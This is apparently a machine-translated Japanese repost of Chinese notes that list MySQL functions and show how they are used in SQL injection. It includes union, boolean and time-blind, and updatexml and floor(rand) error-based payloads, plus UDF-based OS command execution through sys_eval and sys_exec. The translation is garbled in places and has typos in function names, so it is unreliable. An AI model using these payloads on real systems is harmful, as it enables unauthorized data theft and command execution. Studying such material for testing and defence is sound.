データベース・システムの機能を使用して注射(知人)

データベースシステムの機能

システムは、MySQLの機能が付属しています

*その他の機能します。https://blog.csdn.net/qq646040754/article/details/82721801

数学関数:

bin(x)/ hex(x)戻りバイナリX /進コード

abs(x) xの絶対値

mod(x,y) 剰余演算子

sqrt(x) 平方根演算

ceil(x) / ceiling(x)

rand() 0と1の間の浮動小数点数を返します

round(x,D) Dの小数点以下の桁数に丸め

sign(x) xの符号を返します。

pow(x,y) パワーyにX

exp(x) xの電子力

floor(x) x以下の最大の整数を返します

count(x) クエリは、レコードの総数を返します。

sum() 戻る総計

日付機能

addate(d,n) Dは、開始日の日付プラスN日に計算されます

addtime(t,n) 時間tの計算に加えてn秒

curdate() current_date()現在の日付を返します。

curtime() current_time()現在の時刻を返します。

current_timestamp() localtime() now() sysdate() 日付と時刻を返します。

文字列関数:

ascii(str) これは、最初の文字列のASCII値を返します。

char_langth(str) 文字列の文字数の統計

length(str) 文字列strの長さを返します。

insert(str,x,y,insert) 文字列xから始まり、yの文字列が挿入長さに置き換えられ

lpad(s1,len,s2) 文字列の文字列S1、S2先頭を充填、長さがlenに達したような

rpad(s1,len,s2) 長さがlenに到達するように、文字列の末尾文字列S2、S1を充填

ltrim(s)/rtrim(s) 文字列s /最後の先頭にスペースを削除します。

locate(s1,s) 文字列s S1の開始位置からの取得

position(s1 in s2) S1は、文字列sの位置から取得しました

left(s,n)文字列sの最初のn文字を返します。

right(s,n) n文字列sに戻った後

mid(s,n,len),substring(s,n,len),substr(s,n,len) 文字列sのn個のLENから撮影

concat(s1,s2,…)戻り値s1は、s2の文字列が接続されています

concat_ws(s1,s2,'char'^) 戻り文字列連結セパレータが自由に追加することができます

lcase() lower() 小文字変換

ucase(s) upper(s) 資産計上変換

field() 文字列のリストの最初の位置にある文字列を返します。

find_in_set(s1,s2) s1とs2一致した位置の文字列内の文字列を返します。

repeat(s,n) 文字列sのn回

reverse(s) 逆の順序で文字列

strcmp(s1,s2) 文字列S1、S2を比較し、比較の結果を返します。

nullif(exp1,exp2) 2つの文字列を比較

formax(x,n) Xデジタル形式、小数点以下のX nビット(丸め)

truncate(x,y) バック小数点以下のyビットのx値の値を保持するために、(丸めなし)

binary(s) バイナリ文字列sに文字列を変換

特殊機能:

connection_id() データベースサーバー接続のIDを返します。

current_user() sssion_user system_user() user() 現在のユーザー名を返します。

database() 現在のデータベース名を返します。

version() データベースのバージョン番号を返します。

@@version_compile_os ビューシステムアーキテクチャ

@@version_compile_machine ビューMySQLのアーキテクチャ

@@datadir ビューストレージディレクトリデータ

位置を使用した機能:

長さ機能:長さを決定

select length(database());

()関数を数える:指定した条件に一致する行の数を返します。

union select 1,count(*),3 from user;-- 查看当前表的数量

MID()関数:フィールドから(ピリオド)文字を抽出するための(ブーリアン/時間/与えられたブラインド)

and mid(user(),1,1)='r';
and if(mid(user(),1,1)='r',sleep(2),1);
and updatexml(1,mid(concat(0x7e,user()),1,5),1)

声明によるグループ:組み合わせて使用​​する集計関数(エラー注入)

and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group bu x)a)

(1,2,3)の場合:時間ブラインド

select if(1=1,sleep(2),1)

MySQLのコマンド実行システム

システム実行形式:

mysql> system <linux命令>

UDFは、システムコマンドを実行する権利を言及します:

  • MySQLのUDFは、ユーザー定義の関数であり、

  • 要件:

    読み取りおよび書き込み権限を持つプラグインディレクトリ

システムアーキテクチャとMySQLを見ます

select @@version_compile_os , @@version_compile_machine ;

MySQLのUDFライブラリは、プラグインファイルに配置する必要があります

select @@plugin_dir;

カスタム関数の構文を作成します。

create [aggregate] function <function_name> returns <string|integer|real> soname 'file_name';

AGGREGATE 重合の機能を表し、重合系定義関数は、次のとおりカウント()、AVE()、MN()、SUM()

SONAME どの関数がファイルから導入されていることを示し、ファイルは通常、ダイナミックリンクライブラリ、Windowsは、DLLは、Linuxは、そうであると、再びファイルのMySQLのプラグインディレクトリです。

UDFサポート機能:

sys_eval 任意のコマンドを実行し、彼の出力に戻ります

sys_exec 任意のコマンドを実行し、彼の終了コードに戻ります

sys_get 環境変数の値を取得します。

sys_set 環境変数を作成するか、既存の環境変数の値を更新

おすすめ

転載: www.cnblogs.com/wangyuyang1016/p/11666170.html